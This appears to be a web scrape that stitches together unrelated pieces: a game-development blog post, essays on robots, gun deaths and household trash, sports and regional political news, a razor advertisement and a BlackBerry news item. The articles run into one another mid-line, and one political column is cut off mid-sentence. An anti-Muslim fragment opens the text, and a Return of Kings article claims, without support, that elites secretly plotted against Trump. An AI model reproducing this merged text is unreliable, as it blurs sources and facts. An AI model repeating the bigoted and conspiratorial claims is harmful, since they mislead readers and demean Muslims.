Canadians must heed the late Christopher Hitchens warning on Islamification: “resist it while you can”. The now-passed motion of M-103 represents yet another example of the political correctness and national cuckoldry capturing the once-Great White North.
Read More: Islamophobia Is Perfectly NaturalThe Eighth Day — Backstory Part Four
New Chapter Games Blocked Unblock Follow Following Jan 6, 2017
The conclusion of The Eighth Day’s mechanical and story backstory! This is Andre Hernandez once again to tell the tale!
When I ended Pony Tactics, it was with the intention of going straight into an original title. Several My Little Pony fangames at the time were being sent cease and desist letters from Hasbro so that also helped the decision. I had several ideas for an original story, most of them involving sci-fi settings with some fantasy elements. This was a pretty far cry from the medieval fantasy settings that Pony Tactics was going to be set it but I felt confident in it.
The original story for The Eighth Day, which at the time was being called Spectrum Tactics, was that: in the far future an intergalactic war between several alien races escalated to the point where they started doing crazy genetic experiments on their soldiers in an attempt to one up each other. These soldiers eventually won one side victory, but after the conflict they were so scared of these guys they tried to kill them all. Fast forward a bunch of years and we have the main character, an alien cop of a space colony, uncovering that there are still several of these super soldiers alive. They then start infecting normal people with their abilities so they have abilities too, including the main character. The rest of the story involves the main character trying to find out the main motivations behind these events.
I knew that I wanted to do something different with the mechanics of Spectrum Tactics. I had been playing a lot of Dota 2 at the time and the idea of abilities being linked to a cooldown instead of a mana bar in tactics games enticed me. This, I felt, would allow us to make larger levels since, in theory, the cooldowns for abilities would be shorter than the time it took to recharge your mana enough to use the ability again. I had played a ton of tactics games with smaller level designs already and wanted something that felt grander, kind of like how XCOM’s levels felt. I think I had also played Valkyrie Profile: Covenant of the Plume at that time and that played a part in it as well. I wouldn’t say the levels in that game were huge but they were a bit larger than what I usually saw in the genre. Bleach: The Third Phantom also had slightly larger and more complex level designs, but I actually beat Valkyrie Profile (I actually beat Valkyrie Profile like five times because it was an extremely short game with multiple endings and your unlocked abilities would carry over to the new game so it was completely built around the idea of replaying the game over and over (as another side note: I NEVER replay games, so the fact I replayed that one says loads about how good I felt its story and mechanics were)).
All of that said: “Spectrum Tactics” didn’t get very far. I had no money to put into it, I had one part time programmer, and I was once again trying to get art for a game I didn’t even have a complete story to yet. You can check out some of that art below!
Very early concept art for the wolf alien race
Very early concept art for the lizard alien race
Very early environment concept art
This went on and on for about a year before I realized the project was making absolutely no meaningful progress whatsoever. What I mean by that is there was not a clear development plan nor clear story nor clear mechanics. I had lots of vague ideas for everything but I never sat down and really documented everything. This was the core problem with every project I had helmed to this point: I simply do not sit down and do the detailed work required to make the complicated projects I imagine actually work. And this would have been the reason Spectrum Tactics would have failed as well, if I hadn’t done the one thing I needed to do all along.
I asked for help.
It was difficult for me to bring others onto the team after the disaster that was Pony Tactics, but I realized that without others working on the project it simply would not progress.
I found a co-writer I respected and would call me out on plot points or elements that weren’t working. Working with someone who I didn’t want to let down made me do the detailed work that needed to be done, and together we’ve outlined the entire story for the game along with the mechanics. As we developed it, a new title emerged: The Eighth Day. Without my co-writer the story would not be as well developed as it is today.
I then found someone to help me with the business side, who worked with me to outline clear goals and deadlines and focused the development down to what we could handle. He picked up the slack where I couldn’t and I owe much of the success of the development to him.
These two decisions are the main reasons Spectrum Tactics evolved into The Eighth Day and the development continues to this day. This concludes the backstory of the mechanics and story for The Eighth Day! Next week I’ll be going into the art and story direction for the game and how it changed over time to get to where it is today!ROBOTS came into the world as a literary device whereby the writers and film-makers of the early 20th century could explore their hopes and fears about technology, as the era of the automobile, telephone and aeroplane picked up its reckless jazz-age speed. From Fritz Lang’s “Metropolis” and Isaac Asimov’s “I, Robot” to “WALL-E” and the “Terminator” films, and in countless iterations in between, they have succeeded admirably in their task.
Since moving from the page and screen to real life, robots have been a mild disappointment. They do some things that humans cannot do themselves, like exploring Mars, and a host of things people do not much want to do, like dealing with unexploded bombs or vacuuming floors (there are around 10m robot vacuum cleaners wandering the carpets of the world). And they are very useful in bits of manufacturing. But reliable robots—especially ones required to work beyond the safety cages of a factory floor—have proved hard to make, and robots are still pretty stupid. So although they fascinate people, they have not yet made much of a mark on the world.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
That seems about to change. The exponential growth in the power of silicon chips, digital sensors and high-bandwidth communications improves robots just as it improves all sorts of other products. And, as our special report this week explains, three other factors are at play.
One is that robotics R&D is getting easier. New shared standards make good ideas easily portable from one robot platform to another. And accumulated know-how means that building such platforms is getting a lot cheaper. A robot like Rethink Robotics’s Baxter, with two arms and a remarkably easy, intuitive programming interface, would have been barely conceivable ten years ago. Now you can buy one for $25,000.
C3 IPO
A second factor is investment. The biggest robot news of 2013 was that Google bought eight promising robot startups. Rich and well led (by Andy Rubin, who masterminded the Android operating system) and with access to world-beating expertise in cloud computing and artificial intelligence, both highly relevant, Google’s robot programme promises the possibility of something spectacular—though no one outside the company knows what that might be. Amazon, too, is betting on robots, both to automate its warehouses and, more speculatively, to make deliveries by drone. In South Korea and elsewhere companies are moving robot technology to new areas of manufacturing, and eyeing services. Venture capitalists see a much better chance of a profitable exit from a robotics startup than they used to.
The third factor is imagination. In the past few years, clever companies have seen ways to make robots work as grips and gaffers on film sets (“Gravity” could not have been shot without robots moving the cameras and lights) and panel installers at solar-power plants. More people will grasp how a robotic attribute such as high precision or fast reactions or independent locomotion can be integrated into a profitable business; eventually some of them will build mass markets. Aerial robots—drones—may be in the vanguard here. They will let farmers tend their crops in new ways, give citizens, journalists and broadcasters new perspectives on events big and small (see article), monitor traffic and fires, look for infrastructure in need of repair and much more besides.
As consumers and citizens, people will benefit greatly from the rise of the robots. Whether they will as workers is less clear, for the robots’ growing competence may make some human labour redundant. Aetheon’s Tugs, for instance, which take hospital trolleys where they are needed, are ready to take over much of the work that porters do today. Kiva’s warehouse robots make it possible for Amazon to send out more parcels with fewer workers. Driverless cars could displace the millions of people employed behind the wheel today. Just as employment in agriculture, which used to provide almost all the jobs in the pre-modern era, now accounts for only 2% of rich-world employment so jobs in today’s manufacturing and services industries may be forced to retreat before the march of the robots. Whether humanity will find new ways of using its labour, or the future will be given over to forced leisure, is a matter of much worried debate among economists. Either way, robots will probably get the credit or blame.
Invisible and otherwise
Robotic prowess will to some extent be taken for granted. It will be in the nature of cars to drive themselves, of floors to be clean and of supplies to move around hospitals and offices; the robotic underpinning of such things will be invisible. But robots will not just animate the inanimate environment. They will inhabit it alongside their masters, fulfilling all sorts of needs. Some, like Baxter, will help make and move things, some will provide care, some just comfort or companionship. A Japanese robot resembling a baby seal, which responds amiably to stroking and can distinguish voices, seems to help elderly patients with dementia.
The more visible robots are, the better they can help humanity discuss questions like those first posed in fiction. Is it necessary that wars always be fought by people who can feel pity and offer clemency, and yet who can also be cruel beyond all tactical requirements? (Already America is arguing about whether drone pilots deserve medals—see article.) Does it matter if the last kindnesses a person feels are from a machine? What dignifies human endeavour if the labour of most, or all, humans becomes surplus to requirements?
People, companies and governments find it hard to discuss the ultimate goals of technological change in the abstract. The great insight of Asimov et al was that it is easier to ask such questions when the technology is personified: when you can look it in the face. Like spacefarers gazing back at the home planet, robots can serve not just as workers and partners, but as purveyors of new perspectives—not least when the people looking at them see the robots looking back, as they one day will, with something approaching understanding.• West Brom manager joins attack on cost of top-flight tickets • Says clubs must stop ‘milking’ fans and ‘give something back’
Tony Pulis has called for Premier League clubs to cap away ticket prices at £10, and urged the industry to stop “milking” supporters.
The West Bromwich Albion manager, reacting to news that Liverpool have responded to protests by lowering their prices, told the BBC English football must act to restore the atmosphere in grounds, and to avoid pricing out young fans.
Power to the people: Liverpool fans’ ticket price victory may be just the start | Owen Gibson Read more
“With all the money coming in, I’d love to see that atmosphere come back,” said Pulis. “I’d love away supporters to only pay £10 a ticket: whatever ground you go to, make it £10.
“You can give 5-6,000 tickets to the away support, they’d sell them and we’d get back to the atmospheres we used to have. That’s one thing the Germans have got over us at the moment: every ground you go to the atmosphere is absolutely fantastic. It’ll help the supporters as well.
“Clubs are getting enough money to subsidise and help the public. We’ve got to do more for the youngsters, to keep the youngsters involved. This is the greatest football nation in the world, we produce great players because of our systems, the way we work, the way we are – but we’ve got to make sure we’re not milking, milking and milking. We’ve got to give something back.”
Liverpool’s owner, Fenway Sports Group, performed the U-turn on its planned ticket price rises on Wednesday, issuing a public apology to supporters who felt compelled to walk out of their game against Sunderland.
The compromise that the manager, Jürgen Klopp, had called for resulted in general admission prices being frozen at 2015-16 levels for the next two seasons, and the number of £9 tickets being increased.
An estimated 10,000 fans left Anfield in the 77th minute of last Saturday’s match amid chants of “You greedy bastards, enough is enough”. It prompted swift discussions between the Boston-based owner and senior management, leading the club to abandon the most contentious features of the new ticket-price structure.
Reacting to the rethink, the former Liverpool defender Jamie Carragher said it had restored his faith in the club. Carragher wrote in the Daily Mail: “Pride: it’s the one thing we all want as supporters. Put results and performances to one side and what truly matters is having faith in the club you follow.
“Rarely in life do you find people who will admit they have got something wrong, so it was bold of FSG to hold their hands up and apologise.
“My hope now is that Liverpool have created another snowball, one that takes in the rest of the Premier League. What an advert it would be if there was now a unanimous decision among all clubs to review ticket prices. Then we would all have reason to feel proud.”Finally! Some room to stretch out! We finalized our move on February 17, and we've been working hard to expand our product lines. Just a few of the additions in the last 40 days:
Coupons Valid 08:00AM EST MAR 25 - 08:00AM EST - MAR 27 Not valid on orders placed before 8AM EST 3/25
Coupons Valid 08:00AM EST MAR 25 - 08:00AM EST - MAR 27 Not valid on orders placed before 8AM EST 3/25
* Must add EDGE Membership to cart and apply coupon to receive, USA Only
Free 6 Month Maggard EDGE Membership on any order over $150*
Free 6 Month Maggard EDGE Membership on any order over $150*
for free shipping on any USA order $48 or over
For the next 48 hours, enjoy these coupon codes!!
Version 2.0 Head How do you improve on a $19.95 razor? Baby steps! Starting 3/25, ALL Maggard Razors ship with our Version 2.0 head. What is the difference? Better Blade Fit! Larger pegs means less blade wiggle and easier alignment.
Introducing the Maggard MR22 - a uniquely designed handle with amazing grip. Comes with our new Version 2.0 head with better blade alignment!Last week, Starbucks asked its American customers to please not bring their guns into the coffee shop. This is part of the company's concern about customer safety and follows a ban in the summer on smoking within 25 feet of a coffee shop entrance and an earlier ruling about scalding hot coffee. After the celebrated Liebeck v McDonald's case in 1994, involving a woman who suffered third-degree burns to her thighs, Starbucks complies with the Specialty Coffee Association of America's recommendation that drinks should be served at a maximum temperature of 82C.
Although it was brave of Howard Schultz, the company's chief executive, to go even this far in a country where people are better armed and only slightly less nervy than rebel fighters in Syria, we should note that dealing with the risks of scalding and secondary smoke came well before addressing the problem of people who go armed to buy a latte. There can be no weirder order of priorities on this planet.
That's America, we say, as news of the latest massacre breaks – last week it was the slaughter of 12 people by Aaron Alexis at Washington DC's navy yard – and move on. But what if we no longer thought of this as just a problem for America and, instead, viewed it as an international humanitarian crisis – a quasi civil war, if you like, that calls for outside intervention? As citizens of the world, perhaps we should demand an end to the unimaginable suffering of victims and their families – the maiming and killing of children – just as America does in every new civil conflict around the globe.
The annual toll from firearms in the US is running at 32,000 deaths and climbing, even though the general crime rate is on a downward path (it is 40% lower than in 1980). If this perennial slaughter doesn't qualify for intercession by the UN and all relevant NGOs, it is hard to know what does.
To absorb the scale of the mayhem, it's worth trying to guess the death toll of all the wars in American history since the War of Independence began in 1775, and follow that by estimating the number killed by firearms in the US since the day that Robert F. Kennedy was shot in 1968 by a.22 Iver-Johnson handgun, wielded by Sirhan Sirhan. The figures from Congressional Research Service, plus recent statistics from icasualties.org, tell us that from the first casualties in the battle of Lexington to recent operations in Afghanistan, the toll is 1,171,177. By contrast, the number killed by firearms, including suicides, since 1968, according to the Centres for Disease Control and Prevention and the FBI, is 1,384,171.
That 212,994 more Americans lost their lives from firearms in the last 45 years than in all wars involving the US is a staggering fact, particularly when you place it in the context of the safety-conscious, "secondary smoke" obsessions that characterise so much of American life.
Everywhere you look in America, people are trying to make life safer. On roads, for example, there has been a huge effort in the past 50 years to enforce speed limits, crack down on drink/drug driving and build safety features into highways, as well as vehicles. The result is a steadily improving record; by 2015, forecasters predict that for first time road deaths will be fewer than those caused by firearms (32,036 to 32,929).
Plainly, there's no equivalent effort in the area of privately owned firearms. Indeed, most politicians do everything they can to make the country less safe. Recently, a Democrat senator from Arkansas named Mark Pryor ran a TV ad against the gun-control campaign funded by NY mayor Michael Bloomberg – one of the few politicians to stand up to the NRA lobby – explaining why he was against enhanced background checks on gun owners yet was committed to "finding real solutions to violence".
About their own safety, Americans often have an unusual ability to hold two utterly opposed ideas in their heads simultaneously. That can only explain the past decade in which the fear of terror has cost the country hundreds of billions of dollars in wars, surveillance and intelligence programmes and homeland security. Ten years after 9/11, homeland security spending doubled to $69bn. The total bill since the attacks is more than $649bn.
One more figure. There have been fewer than 20 terror-related deaths on American soil since 9/11 and about 364,000 deaths caused by privately owned firearms. If any European nation had such a record and persisted in addressing only the first figure, while ignoring the second, you can bet your last pound that the State Department would be warning against travel to that country and no American would set foot in it without body armour.
But no nation sees itself as outsiders do. Half the country is sane and rational while the other half simply doesn't grasp the inconsistencies and historic lunacy of its position, which springs from the second amendment right to keep and bear arms, and is derived from English common law and our 1689 Bill of Rights. We dispensed with these rights long ago, but American gun owners cleave to them with the tenacity that previous generations fought to continue slavery. Astonishingly, when owning a gun is not about ludicrous macho fantasy, it is mostly seen as a matter of personal safety, like the airbag in the new Ford pick-up or avoiding secondary smoke, despite conclusive evidence that people become less safe as gun ownership rises.
Last week, I happened to be in New York for the 9/11 anniversary: it occurs to me now that the city that suffered most dreadfully in the attacks and has the greatest reason for jumpiness is also among the places where you find most sense on the gun issue in America. New Yorkers understand that fear breeds peril and, regardless of tragedies such as Sandy Hook and the DC naval yard, the NRA, the gun manufacturers, conservative-inclined politicians and parts of the media will continue to advocate a right, which, at base, is as archaic as a witch trial.
Talking to American friends, I always sense a kind of despair that the gun lobby is too powerful to challenge and that nothing will ever change. The same resignation was evident in President Obama's rather lifeless reaction to the Washington shooting last week. There is absolutely nothing he can do, which underscores the fact that America is in a jam and that international pressure may be one way of reducing the slaughter over the next generation. This has reached the point where it has ceased to be a domestic issue. The world cannot stand idly by.
• This article was amended on 21 September 2013. The original mistakenly said that Edward Kennedy was shot in 1968. This has been correctedMajor Republican donor Michael Eisenga didn't just enlist legislators in his brazen bid to change the state's child support laws for Eisenga's own benefit.
Eisenga also tried very hard — but unsuccessfully — to corral Gov. Scott Walker.
Newly released records show Eisenga lobbying the governor on the need to cap how much wealthy Wisconsin residents pay in child support.
Eisenga, president of American Lending Solutions in Columbus, even sent the first-term Republican governor an article in October summarizing an appellate court ruling on his divorce from earlier in the month.
"Hi Governor," Eisenga wrote. "I thought you may find this interesting given our conversation on child support reform last week."
He concluded: "I consider this a dangerous precedent for numerous reasons."
Then in December, the millionaire businessman donated $4,500 to Walker's campaign fund, bringing him to $9,500 for the year. Eisenga did not return repeated calls.
"Was Eisenga trying to pull the governor in on this?" said Michael Collins, an attorney for Eisenga's ex-wife. "Absolutely."
The records also suggest that state Rep. Joel Kleefisch, the husband of Lt. Gov. Rebecca Kleefisch, met with Walker to talk up his legislation.
Kleefisch had to spike the bill in January after No Quarter and the Wisconsin State Journal documented Eisenga's role in drafting the proposal. Kleefisch said he will continue his six-year-long effort to improve the state's child support laws, noting that he was interested in the subject long before Eisenga's involvement.
Under current law, judges determine child-support payments based on a percentage of annual income and, in some cases, assets. Kleefisch's bill would have capped the amount of income subject to child support to $150,000 a year. Assets could not be used in the calculation. That would mean that no matter how high a person's income, or how much wealth he inherited or accumulated, or how many children he had, a judge could never require him to pay more in child support than a person making $150,000 a year with no additional wealth.
Contained within the bill was a financial trigger that could have allowed Eisenga to reopen his case. Based on his assets and annual income of nearly $1.2 million in 2010, Eisenga had his support payments set at $18,000 a month for his three sons. His payments can't drop below $15,000 a month.
All three children have special needs and receive such help as occupational, speech and vision therapy.
Other newly released records include an agenda for a meeting that Kleefisch was to have with Walker in early November. The first item on Kleefisch's list of upcoming legislation was "child support calculation reform."
Kleefisch's office then provided a Walker aide with two versions of the child support bill.
Collins, the attorney for Eisenga's ex-wife, said it's not surprising that Eisenga gave the donation in the middle of these discussions.
"Money talks," Collins said.
Eisenga has given $51,760 to Republicans since 2005, with $19,500 going to Walker's campaign and $10,000 to Kleefisch and his wife.
"Once again, we find emails that show the governor fully engaged on an issue and special access seemingly granted to major campaign donors," said Scot Ross, head of the liberal group One Wisconsin Now.
But Walker spokesman Tom Evenson said it's "absolutely not" true that Eisenga had any special access to the governor. Evenson said Walker and Eisenga's conversation occurred at some event.
Besides, Evenson said, the governor has not proposed any changes in the state's child support laws and isn't planning to do so.
"This issue was and is not on the governor's radar," Evenson said, "and we did not do anything with it."
Benefits of hindsight
State Rep. Bill Kramer's remarks to the Waukesha County Business Alliance earlier this year were offensive at the time.
Now they're illuminating.
A month before he was ousted as Assembly majority leader for sexual misconduct, Kramer said Walker might face a tough fight against Democratic gubernatorial candidate Mary Burke later this year.
In making his point, the Waukesha Republican thought it a good idea to focus on Burke's appearance, according to the Waukesha Freeman.
"She's innocuous, she has no record to beat him with and now that she's had her makeover, she's attractive, she's a woman." Kramer said on Jan. 31. "But maybe it doesn't matter who she is. People already know what they think of Walker: love or hate."
Burke's campaign had no comment on the remark.
Republicans booted Kramer as their majority leader after he was accused of groping a legislative staffer and making sexually offensive remarks to a lobbyist. He is currently in rehab for unspecified treatment.
One GOP lawmaker, Rep. Jim Steineke (R-Kaukauna), has come forward to say he witnessed the incidents. The Legislature's human resources manager is investigating Kramer's actions.
Road trip
Burke went to New York last week for a big-dollar fundraiser at the swanky Park Ave. residence of a top executive with a private equity investment firm.
Afterward, Burke appeared on theMSNBC show "All in With Chris Hayes" on Thursday night.
The fundraiser was held Thursday at the Manhattan home of Quentin Van Doosselaere, co-chief executive of Bregal Investments in New York. Co-hosting the event were Allen and Claudia Sperry.
Burke and Allen Sperry founded the firmManhattan Intelligence in the late 1980s. Burke sold her share in the company to Sperry in April 1990 before taking a job at her family-owned Trek Bicycle, according to her campaign.
Van Doosselaere — a longtime Burke friend — began his career at Drexel Burnham Lambert, the major Wall Street investment banking firm that later collapsed as a result of the illegal activities of Michael Milken and others in the junk bond market.
Since 2009, Van Doosselaere has held top-level management posts with Bregal Investments, the corporate investment arm of the wealthy German-Dutch Brenninkmeijer family.
Joe Fadness, executive director of the state Republican Party, pointed out that among Bregal's many investments is Bravo Sports, a global sporting goods company.
Federal administrators found in 2005 that Bravo was outsourcing jobs to China. Also, Fadness noted, Bravo recalled nearly 500,000 Chinese-made trampolines and pogo sticks since 2010.
"Mary Burke made her millions by shipping Wisconsin jobs to China, so it's only fitting that this New York City fat cat — who cut his teeth at a firm charged with stock fraud and made his riches by outsourcing jobs — would support her campaign," Fadness said.
Other conservatives were playing up Bregal's ties to a New York energy company involved in a fracking controversy.
Joe Zepecki, spokesman for Burke's campaign, declined to comment.
Over the years, Walker has tapped the New York fundraising market on several occasions. He has been to events hosted by theNew York State Republican Party, former AIG CEOHank Greenberg, New York JetsownerWoody Johnson and billionaire political activist David Koch.
Financial hole
It appears that onetime Walker aide Kelly Rindfleisch has run into some financial trouble.
Rindfleisch, who was Walker's deputy chief of staff at the county, is listed on the state Department of Revenue's website for delinquent taxpayers. She owes $6,218 in state income taxes |
I feel guilty. As I do most Wednesday nights, I have to climb onto the hood of our car, step into our garbage can, and stomp down the trash in order to fit the last bag in.
In case you didn’t know, we Americans are the best trash-makers the world has ever seen. We are maestros of refuse, champions of rubbish. In 2005, according to the EPA’s Municipal Solid Waste Report, Americans generated 4.54 pounds of trash per person per day.
That’s 1,657 pounds a year. Each.
Not startling enough? Try this: We constitute 4.6 percent of the world’s population. We generate 40 percent of the world’s trash.
Before I became a parent, I didn’t bother to think about garbage all that much. Lately, I can’t seem to forget it. Maybe this is partly because parenting in the new millennium converts average, sane humans into trash-making fiends. Disposable diapers, wipes, nipples, formula bottles, breast pads—eventually, they all end up smelling bad, and they all end up in the garbage. Car seats, pack ‘n’ plays, high chairs, cribs, fold-up strollers—they all come in big boxes, sheathed in plastic bags, clamped in Styrofoam.
Toys might be the worst offenders: Most come in boxes inside boxes, wired in with diabolical 6-inch twist ties or screwed with actual screws into plastic backings. For even the most garbage-conscious parent, holidays, baby showers, and birthdays can become Saturnalias of trash-making: paper plates, batteries, invitations, half-eaten chunks of cake. At the holidays alone, Americans buy, send, and dispose of 1.9 billion Christmas cards. We throw out 38,000 miles of ribbon: enough to tie a bow around the equator. What parent hasn’t spent a portion of Christmas or a birthday sawing away with a bread knife at some obstinate plastic panda incarcerated inside a PVC clamshell?
Less than 4 percent of the world’s children are American, after all, but our kids consume more than 40 percent of the world’s toys.
It’s not as if we’re unique. Humans have been making trash for a long time. Athens had a garbage dump as early as 500 B.C. Imperial Rome left behind Mt. Testaccio, a 236,000 square-foot landfill-turned-mountain, 164 feet high, built entirely out of the broken clay vessels they used to transport olive oil. The Mayans had garbage dumps that got big and hot enough to occasionally explode. In the Middle Ages, garbage supposedly piled up so thick outside the gates of Paris that it interfered with the city’s ability to defend itself.
To live is to make leavings. Hair, dust, fingernail clippings, love letters, old paperbacks, bones. But the volumes at which we’re creating detritus in the new millennium is unprecedented. We’re recycling more, sure, but we’re also throwing out more: nearly twice as much per capita as we did in 1960. Eighty thousand tons of uneaten food are junked every day. Two and a half million plastic bottles are drained every hour.
It was nearly 15 years ago now that 1,600 scientists, including over half of the living Nobel laureates, admonished in their Warning to Humanity:
“A great change in our stewardship of the earth and the life on it, is required, if vast human misery is to be avoided and our global home on this planet is not to be irretrievably mutilated.”
How have we responded in the years since? Higher carbon emissions. Rising oil consumption. Increased rates of deforestation. California sea lions are spontaneously aborting fetuses, beetles are devastating the spruce forests of Alaska, and bluefin tuna are going the way of the buffalo. Last year, the U.S. Geological Survey found earthworms in farm fields have an average of 31 pollutants in their bodies, including perfumes, caffeine, household disinfectants, and, get this, Prozac.
If we need motivation to reshape our lifestyles, maybe the overwhelming, almost depthless reservoir of feeling we have for our children is the best place to start.
Before my kids turn 40, the vast majority of the world’s coral reefs could be devastated. Before my kids turn 20, 135 million people worldwide may have died from diseases resulting from a lack of clean water. Extinctions are currently happening faster than they did when the dinosaurs died off, the world population is more vulnerable than ever to epidemics, and fertilizer run-off in the Gulf of Mexico has created a dead zone—an expanse of ocean without sufficient oxygen to support life—the size of New Jersey.
And still the months tick past. Can we claim ignorance? Not anymore. Not with George Clooney hawking electric Smart Cars and Katie Couric getting “chills over climate change” on her blog and Wal-Mart running recycling programs for six-year-olds.
This is not about saving the Earth. The Earth is not in danger. The Earth is going to be fine. The Earth has coasted through its share of ice ages and asteroid impacts and hot, swampy millennia. Biodiversity, no matter how severely it has plunged in the past, has always subsequently increased again.
The Earth is not in danger. It’s humans who are in danger. It’s our children who are in danger.
And still, I run our furnace and take long showers and fly on commercial jets. Still, I buy coffee in disposable cups and throw away bagged lettuce that has transformed overnight into dark green mush. What’s my problem?
To be fair, I’m trying. I’m starting. My wife and I recycle everything we can. We buy in bulk. We tell check-out clerks we don’t want bags. We reuse wrapping paper. I ride my bike to work.
But tonight, as I haul the garbage can to the curb, and my sons run out ahead of me, stomping in puddles, cackling, I can’t help but wonder: Someday, will I have to apologize to them for the way we lived when they were little boys?
If we need motivation to reshape our lifestyles—reducing our dependency on automobiles, buying local foods, cutting back on packaging-intensive products, or a myriad of other ideas—maybe the overwhelming, almost depthless reservoir of feeling we have for our children is the best place to start.
Love, and the hope we can live long enough to see our kids grow up in a safe, healthy place. That’s where we can look for the discipline, the maturity, and the farsightedness we’re going to need.Donald Trump evokes strong passions. Most people either love him or hate him. But the people who hate him at the highest levels of power are much more numerous—and they are more wealthy and powerful than his supporters.
This past week, we’ve watched this play out before our eyes as the elites, through the media, have started to create a narrative designed to paint Trump and his supporters as violent, dangerous bigots who must be eliminated at all costs.
The Establishment has not been able to stump Trump—yet
The media narrative that Trump’s words inspire violence seems to have sprung from thin air on Friday. It didn’t. To really understand why that narrative emerged now, we have to look at events that led up to it. The prior week, Trump had undergone unprecedented attacks from his challengers and the GOP establishment. First, Mitt Romney delivered a speech attacking Trump from every angle, even hitting Trump for sleeping with attractive women.
Next, Marco Rubio was designated to be the GOP establishment attack dog. He switched his campaign stump speech from one that was “positive” and focused on policy to one full of goofy, juvenile attacks on Trump making fun of his hair and even the size of Trump’s hands—the implication being that Trump has a small penis.
On top of Rubio’s insult comic routine, Super Pacs affiliated with the GOP establishment spent $30 million in ads in battle ground states repeating all of Mitt Romney’s attacks. But it was all for naught. Instead of weakening Trump, the attacks only served to make him stronger. He won the Tuesday primaries in Michigan, Missouri, and Hawaii with commanding margins. On the other hand, Marco Rubio, the establishment water boy, saw his numbers plunge.
In other words, all of the establishment’s conventional methods—television ads and personal attacks—completely failed. This is key to understanding why the nature of the attack on Trump had to change.
Media begins the “Trump’s rhetoric causes violence” mantra
After Trump won the Michigan and Missouri primaries with strong numbers, the establishment went into panic mode. They arranged a meeting between execs of top technology companies Apple, Facebook, and Google, and the members of the GOP establishment including Karl Rove, Mitch McConnell, Paul Ryan, Ben Sasse and Kevin McCarthy.
The conspirators met on a private island off the coast of Georgia called Sea Island. Their goal? To plot how to stop the GOP front runner—Donald Trump. We don’t know what plans the elite concocted at this meeting because it was invitation-only. However, we may glean the nature of the plan from the events that followed.
After the meeting, the next Republican debate in Miami was a muted affair. Rubio, Cruz, and Kasich mostly laid back. While they did throw some light punches in Trump’s direction, it was probably the most civil debate to date. Did the other candidates know that the establishment had something in store for Trump?
The very next day, Trump was scheduled to have a rally in Chicago. MoveOn.org, Bernie Sanders supporters, and other leftwing groups coordinated a massive protest. This was combined with hundreds of threats of violence on social media, including threats against Trump’s life. To preserve the safety of his supporters, Trump canceled the rally.
Immediately after the cancellation, I noticed that all the networks suddenly were carrying the same story—how Donald Trump’s words provoke his followers to violence. There was nothing about the threats on social media to assassinate Trump. Only this unprovable allegation that Trump’s words somehow caused his supporters turn violent.
The major newspapers carried the same message:
How the elite use the media to control us through the narrative
Loading...
One of the most startling things about is how quickly all of the mainstream media outlets adopted the “Trump’s rhetoric causes violence” message. It’s notable because Trump’s rhetoric has never been violent. At most, Trump told his supporters that if someone throws a punch at them at a rally, they should punch right back. To me, that is not a violent message. It is just common sense self-defense. It is the same advice my mom gave to me on my first day of kindergarten.
Some of the media outlets say that Trump’s message about building a wall and putting a temporary ban on Islamic immigration are somehow inherently violent. But those policies are several months old. Why did the violence narrative suddenly take hold? I believe that this was a coordinated attack by the media, which is owned and controlled by the elite.
If you would have asked me one year ago, I would have said that this was a crazy idea. But after we all lived through the attack upon Return of Kings surrounding the meetups, where dozens of news outlets in different countries all carried the same false message, it is clear that media coordination does take place.
Attack against Trump during Ohio rally
On Saturday morning, Trump had a rally in Dayton, Ohio. I watched the rally with my wife. Trump seemed to be in good spirits and there were almost no protestors. In the middle of the rally, a man jumped the barrier and charged the podium where Trump was speaking.
https://www.youtube.com/watch?v=N8PyJb-tDl0
Secret Service agents quickly swarmed the podium to protect Trump and detain the alleged attacker, who was identified as a Bernie Sanders supporter with a history of supporting left-wing causes (watch from another angle). Was he trying to assassinate Trump? Mike Cernovich has done a fantastic job of analyzing the attacker’s tweets. You can judge for yourself.
Media Silence
You would think that a potential assassination attempt against a presidential frontrunner would be the top story of the day. But the media largely downplayed it as a minor incident. Here is CNN’s original report:
Headline: Protester tries to get at Trump (Not an attacker, but a “protester.” And he merely tried to “get at” Trump)
Subheadline1: Candidate startled as man tries to rush stage in Ohio
Subheadline2: Trump’s incendiary history
In other words, the news media is blaming the victim. It was Trump’s “incendiary history” that forced the “protester” to attack. By Saturday night, the story was no longer on CNN’s “top stories” list, but “Obama mocks Trump steaks” was important enough to make the cut. Some news aggregators, like the snapshot of Apple News below, deemed the story not newsworthy and prioritized it below anti-Trump stories.
Imagine for a moment if a Trump supporter had rushed Hillary Clinton’s podium? Do you think that the story would have been dropped by the same evening? Or would we be subjected to endless paeans of how brave Hillary was in facing the evil perpetrated by Trump and his minions?
The Elite will not permit Trump to become President
If one thing is clear from this incident it is that the elite hate Trump with an intensity that borders on the homicidal. They will stop at nothing to frustrate the will of the voters and prevent Trump from ever becoming President.
The reason is not Trump’s unpolished manner of speaking, but that his policies would put a dent in their pocket books. Bringing immigration under control would shut off the endless supply of cheap labor. Enforcing free and fair trade will make it harder to move American jobs to other, lower wage countries. The latest attempt to stop Trump is to incite mentally unstable people to violence against Trump and his supporters. Any violence that results will be immediately blamed on Trump’s immigration and trade policy.
Readers of ROK should not get pulled into the fray. Be ready to defend your family and your community, but resist the urge to act offensively. Instead, prepare yourself by building a strong, local tribe of men because if the elites are successful in eliminating Trump, the resulting fire may engulf the entire nation.
If you like this article and are concerned about the future of the Western world, check out Roosh's book Free Speech Isn't Free. It gives an inside look to how the globalist establishment is attempting to marginalize masculine men with a leftist agenda that promotes censorship, feminism, and sterility. It also shares key knowledge and tools that you can use to defend yourself against social justice attacks. Click here to learn more about the book. Your support will help maintain our operation.
Read More: Leftists Go Crazy Over Donald Trump’s Call To Ban Muslim ImmigrationAn update for Blackberry’s not-so-popular BB10 has started rolling out, and with the update to 10.2.1 comes the ability to easily run Android apps. Although BB10 has been able to run Android apps for a while now, previously.APK files first had to be converted to the.BAR format before they would run. With the latest update,.APK files can now be installed directly onto Blackberry devices.
As Blackberry continues to struggle, giving existing BB10 users the option to sideload or even install Android apps directly from their browser is a good way to keep these folks at least semi-satisfied. What’s even more interesting is that in order to fully run Android apps, Blackberry is essentially running the Android OS inside of their QNX-based OS. In fact, it’s actually possible to get a full Android UI by simply installing and launching Nova Launcher.
The video below shows that the Android installation running within BB10 is actually a slimmed down version of Android 4.2.2. By slimmed down, we mean that quite a few of vanilla Android’s components have been removed such as the Phone dialer and many other ‘core’ Android apps and services. Obviously Google Play services is not installed, though the video’s creator tomtechish did attempt to run the Google Play store by sideloading, but unfortunately it just crashes.
